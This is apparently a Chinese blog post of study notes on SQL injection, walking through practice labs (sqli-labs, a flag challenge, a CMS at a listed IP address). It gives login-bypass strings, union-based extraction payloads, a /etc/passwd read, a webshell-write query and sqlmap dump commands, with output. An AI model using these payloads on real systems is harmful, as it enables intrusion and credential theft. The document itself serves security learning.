首页 > 数据库 >sql注入

sql注入

时间:2024-12-23 22:59:50浏览次数:2  
标签:-- union --+ sql schema id select 注入

1、SQL Injection

SQL注入 (SQL Injection):通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

2.SQL注入的安全隐患

一旦应用中存在sql注入漏洞,就可能会造成如下影响:
​ 数据库内的信息全部被外界窃取。
​ 数据库中的内容被篡改。
​ 登录认证被绕过
​ 其他,例如服务器上的文件被读取或修改/服务上的程序被执行等。

  1. SQL注入产生的过程

  2. 如果一个网站使用数据库来存储用户登录信息,并执行如下的SQL语句进行登录尝试: select * from users where username='farmsec' and password='123456' 在这种情况下,攻击者可注入用户名或密码字段,以修改应用程序执行的查询,从而破坏它的逻辑。例如攻击者知道应用程序的username为farmsec,那么他就可以通过提交一下用户名和任意密码,以管理员的身份登录: farmsec' -- 应用程序将执行以下查询: select * from users where username='farmsec' --' and password='sadfas' 于是乎这个查询完全避开了密码检查。
    这也引出了经典的万能密码问题。
    有些网站的登录页面其背后的逻辑就是上文中的语句。
    select * from users where username='$name' and password='$passwd'or 1=1 --
    我们可以在密码部分注入:'or 1=1 --
    那么整个句子就变成:
    select * from users where username='farmsec' and password=''or 1=1 --
    因为1永远等于1,登录验证就会被绕过。
    一些常见的万能密码形式:
    'or'='or'
    admin'--
    admin' or 4=4--
    admin' or '1'='1'--
    "or "a"="a
    admin' or 2=2#
    a' having 1=1#
    a' havinku ming |g 1=1--
    admin' or '2'='2
    ')or('a'='a
    or 4=4--

  3. SQL注入的分类
    SQL注入根据不同的分类方法会有多种类别。但依照最大的区别特征而言,主要分为显注和盲注两类。
    显注是指,当攻击者拼接SQL语句注入时,网站会把SQL语句的执行结果显示在网页上。
    盲注与显著相反,网站不会把SQL语句的执行结果显示出来。盲注还分为布尔性盲注和布时间型两者 布尔(真假)

  4. 常见函数

常见函数

database() #数据库名称
version() #数据库版本
user() #数据库的使用者
group_concat() #将参数拼接到一行进行集中展示
hex() #将参数转换为16进制编码
unhex() #将参数转换为16进制解码
limit a,b #依次取值,从a+1的位置取b数量的值进行输出
into outfile() #向目标服务器中写入指定的文件++
load_file() #读取目标服务器的本地文件

常用表

information_schema.schemata #存储了数据库中所有数据库库名的表
information_schema.tables #存储了数据库中所有数据表表名的表
information_schema.columns #存储了数据库中所有字段名的表

常用字段

table_schema/schema_name #数据库名
table_name #数据表名
column_name #字段名

SqlLib

/Less-1/?id=1

字符型注入单引号闭合

猜测实际列数--order by--二分法

$id=1' order by 3 --+
select * from user where id='1' order by 3 --+'

查看回显位置

$id=-1' union select 1,2,3 --+
select * from user where id='-1' union select 1,2,3 --+'

查数据库名称

$id=-1' union select 1,database(),3 --+
select * from user where id='-1' union select 1,database(),3 --+'

查表名

$id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

查列名

$id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
$查字段值--id,username,password
$id=-1' union select 1,group_concat(id,':',username,':',password),3 from users --+

传参,查询闭合方式为数字型参数
/Less-2/?id=1 and 1=1 --+

猜测实际列数
?id=2 order by 3--+

查看回显位置
?id=-2 union select 1, 2, 3--+

查数据库库名
?id=-2 union select 1, database(), 3--+ ------> # database() --> security

查表名
?id=-2 union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema="security"--+ ---------> # group_concat(table_name) ---> emails,referers,uagents,users

查列名
?id=-2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="security"and table_name="uagents"--+ -------> group_concat(column_name) ----> id,uagent,ip_address,username

查询字段值
?id=-2 union select 1,group_concat(id,':',uagent,':',ip_address,':',username),3 from uagents--+

yyy靶场 SQL --> 1.1sql-整数

传参,查询闭合方式为数字型参数
select * from news where id=1 and 1=1--+

猜测实际列数
seletct * from new where id=1 order by 2 --> 经过猜测实际列数为2

查看回显位置
select * from news where id=-1 union select 1,2 --+

查看数据库名
select * from news id=-1 union select database(),2--+ --------> databse() 为 hazel

查看数据表名
?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema=database()--+
?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema="hazel"--+ ----------->group_concat(table_name) 为flag,news

查看列名
?id=-1 union select group_concat(column_name),3 from information_schema.columns where table_schema="hazel" and table_name="flag" --+ ---->group_concat(column_name) 为什么flag

查询字段值
?id=-1 union select flag ,2 from flag--+ -------> flag 为 hazel{61426c8c-4849-4d67-9004-10ee584bd1a7}

文章管理系统 49.235.78.245:1112

数字型注入
show.php?id=33 and 1=1--+

猜测实际列数
show.php?id=33 order by 15--+

猜测数据库名为 cms
/show.php?id=-32 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+

猜测数据库表
?id=-32 union select 1,2,unhex(hex(group_concat(table_name))),4,5,6,7,8,9,10,11 ,12,13,14,15 from information_schema.tables where table_schema=database()--+ -------》 cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users

表数量过多仅猜测指定第二个表名称
show.php?id=-32 union select 1,2,unhex(hex(table_name)),4,5,6,7,8,9,10,11 ,12,13,14,15 from information_schema.tables where table_schema='cms' limit 1,1 --+

查询字段值
/show.php?id=-32 union select 1,2,user(),4,5,6,7,8,9,10,unhex(hex(group_concat(column_name))),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users' --+ --------》 userid,username,password

查询字段值
/show.php?id=-32 union select 1,2,user(),4,5,6,7,8,9,10,group_concat(userid,username,password),12,13,14,15 from cms_users --+ ----------》1admine10adc3949ba59abbe56e057f20f883e

读取文件
load——file() --> 绝对路径,读取文件
/show.php?id=-32 union select 1,2,load_file("/etc/passwd"),4,5,6,7,8,9,10,11,12,13,14,15 --+

写入文件
into outfile()
1、需要绝对路径,要具备木马的绝对文件
2、mysql设置开启secure——file——priv=""
secure_file_priv="NULL" 表示限制mysqld不允许导入导出
secure_file_priv="/dir" 表示限制mysqld只能在/dir目录中执行导入导出,

/show.php?id=-32 union select 1,2,"",4,5,6,7,8,9,10,11,12,13,14,15 into outfile "/var/www/html/zzypte969798.php" --+

木马文件
1都需要执行权限
2 种类比较多 exe jsp php webshell 可以远程执行代码,远程执行系统命令,实现命令注入

php
eval() 传递给它的参数都会被识别为php代码进行解析
system() 传递给它的参数都会被识别为系统命令进行解析

php一句话木马

# @防止报错

传参方式
$_POST 请求体中传参 id=1
$_GET url后跟?id=1
$_REQUEST

sqlmap
1、 sqlmap -u"http://XXXXXXX?id=1"
如果存在注入点,将会显示Web容器、数据库版本信息。
2、读取数据库:sqlmap -u"http://XXXXXXX?id=1" --dbs
3、查看当前应用程序所用数据库:sqlmap -u "http://XXXXXXX?id=1" --current-db
4、列出指定数据库的所有表:sqlmap -u"http://XXXXXXX?id=1"--tables -D "security"
5、读取指定表中的字段名称:sqlmap -u"http://XXXXXXX?id=1"--columns -T "users" -D "security"
6、读取指定字段的内容:sqlmap -u"http://XXXXXXX?id=1" --dump-C "username,password" -T "users" -D"security"
--dump参数意为转存数据,
-C参数指定字段名称
-T指定表名
-D指定数据库名称
如果有数据库关键字需要加上"[]",如[User]。
读取数据后,数据会存到sqlmap/output/下

kali中sqlmap文件夹路径
/usr/share/sqlmap

查看所有数据库
sqlmap -u"http://49.235.78.245:1111/Less-1/?id=1" --dbs
查看当前数据库 current database: 'security'
sqlmap -u"http://49.235.78.245:1111/Less-1/?id=1" --current-db
查看当前数据库下的表名称
sqlmap -u "http://49.235.78.245:1111/Less-1/?id=1" --tables -D "security"
Database: security
[4 tables]
+----------+
| emails |
| referers |
| uagents |
| users |
+----------+

爆破表下面的列名
sqlmap -u "http://49.235.78.245:1111/Less-1/?id=1" --columns -T "emails" -D "security"
Database: security
Table: emails
[2 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| email_id | varchar(30) |
| id | int(3) |
+----------+-------------+

爆破字段值
sqlmap -u "http://49.235.78.245:1111/Less-1/?id=1" --dump -C "id,usename,password" -T "users" -D "security"

Database: security
Table: users
[13 entries]
+----+---------+------------+
| id | usename | password |
+----+---------+------------+
| 1 | | Dumb |
| 2 | | I-kill-you |
| 3 | | p@ssword |
| 4 | | crappy |
| 5 | | stupidity |
| 6 | | genious |
| 7 | | mob!le |
| 8 | | admin |
| 9 | | admin1 |
| 10 | | admin2 |
| 11 | | admin3 |
| 12 | | dumbo |
| 14 | | admin4 |
+----+---------+------------+

万能密码登录

sql LIB ----> http://49.235.78.245:1111/Less-11/

$username $password
select * from users where username='$username' and password='$password' limit 0,1

or
左右两边均为真值时,输出为真
左右两边一边为真值,一边为假值时,输出为真
左右两边均为假值时,输出为假

$username=admin' or '1'='1
$password=admin' or '1'='1
select * from users where username='admin' or '1'='1' and password='admin' or '1'='1' limit 0,1

$username= admin' or 1=1 #
$password
select * from users where username='admin' or 1=1 #' and password='$password' limit 0,1

猜测实际列数--order by--二分法

$username=1' order by 2 #

查看回显位置

$username=1' union select 1,2 #

查数据库名称

$username=1' union select 1,database() #

查表名

$username=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #

查列名

$username=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
$查字段值--id,username,password
$username=1' union select 1,group_concat(id,':',username,':',password) from users #

标签:--,union,--+,sql,schema,id,select,注入
From: https://www.cnblogs.com/aitaozi/p/18625227

相关文章

  • mysql explain 结果的extra字段解析
    usingindex:sql语句没有where查询条件,使用覆盖索引,不需要回表查询即可拿到结果usingwhere:没有使用索引/使用了索引但需要回表查询且没有使用到下推索引usingindex&&useingwhere:sql语句有where查询条件,且使用覆盖索引,不需要回表查询即可拿到结果。Usingindexcon......
  • insert 注入
    insert注入如何向数据库插入数据?sql语句:insertintousers(id,username,sex,password)values(6,'womendouaitony','tonyaiwomen');在这种情况下,应该如何操作可以达到一个注入的效果?updatexmlpayload:'orupdatexml(1,concat(0x7e,(version()),0x7e),0)or'记忆法:�......
  • SQLServer 验证数据库完整性
    语法syntaxsqlDBCCCHECKALLOC[(database_name|database_id|0[,NOINDEX|,{REPAIR_ALLOW_DATA_LOSS|REPAIR_FAST|REPAIR_REBUILD}])[WITH{[ALL_ERRORMSGS][,NO_INFOMSGS][,......
  • Djagno 执行mysql
    https://blog.csdn.net/wglink/article/details/127998343一、增#增definsert_data(name,category,price,quantity):withconnection.cursor()ascursor:sql="insertintogoods(name,category,price,quantity)values(%s,%s,%s,%s)"......
  • ORACLE sql查询用户/表/数据/外键/主键/索引
    查询用户数量--查询用户数量SELECTCOUNT(*)ASuser_countFROMDBA_USERS;查询表数量--查询表数量SELECTOWNER,COUNT(*)AStable_countFROMDBA_TABLESWHEREOWNERIN('RBCC_ICO_ADMIN','DPDB_CONFIDENTIAL','DPDB_INTERNAL')GROUPBYOWNER;......
  • Python企业公寓后勤管理系统(Pycharm Flask Django Vue mysql)
    文章目录项目介绍和开发技术介绍具体实现截图开发技术开发与测试:设计思路系统测试可行性分析核心代码部分展示文章目录/写作提纲参考源码/演示视频获取方式项目介绍和开发技术介绍论文主要是对后勤管理系统进行了介绍,包括研究的现状,还有涉及的开发背景,然后还对系统......
  • 详解MySQL中 MVCC
    目录第1章:MVCC简介1.1什么是多版本并发控制(MVCC)?1.2MVCC在数据库管理系统中的作用1.3MVCC与传统锁机制的区别1.4为什么需要MVCC?第2章:MVCC的工作原理2.1数据库事务2.2版本控制:如何通过版本号、时间戳来区分不同版本的数据2.3事务的开始与结束(commit和......
  • mysql的事务控制和数据库的备份和恢复
    事务控制语句行锁和死锁行锁两个客户端同时对同一索引行进行操作客户端1正常运行客户端2想修改,被锁行除非将事务提交才能继续运行死锁客户端1删除第5行客户端2设置第1行为排他锁客户端1删除行1被锁客户端2更新行5被锁如何避免死锁mysql的备份和还原......
  • Go语言,查询MySQL数据库
    在Go语言中,查询MySQL数据库的一个常用库是database/sql标准库首先,确保你已经安装了MySQL驱动:goget-ugithub.com/go-sql-driver/mysql示例代码main.gopackagemainimport("database/sql""fmt""log"_"github.com/go-sql-driver/mysql&qu......
  • Mysql面试题一
    MySQL数据库可重复读隔离级别是怎么实现的,MVCC并发版本控制原理MySQL可重复读是通过MVCC实现的MVCC(MultiVersionConcurrencyControl的简称),代表多版本并发控制。与MVCC相对的,是基于锁的并发控制,Lock-BasedConcurrencyControl)。MVCC最大的优势:读不加锁,读写不冲突。......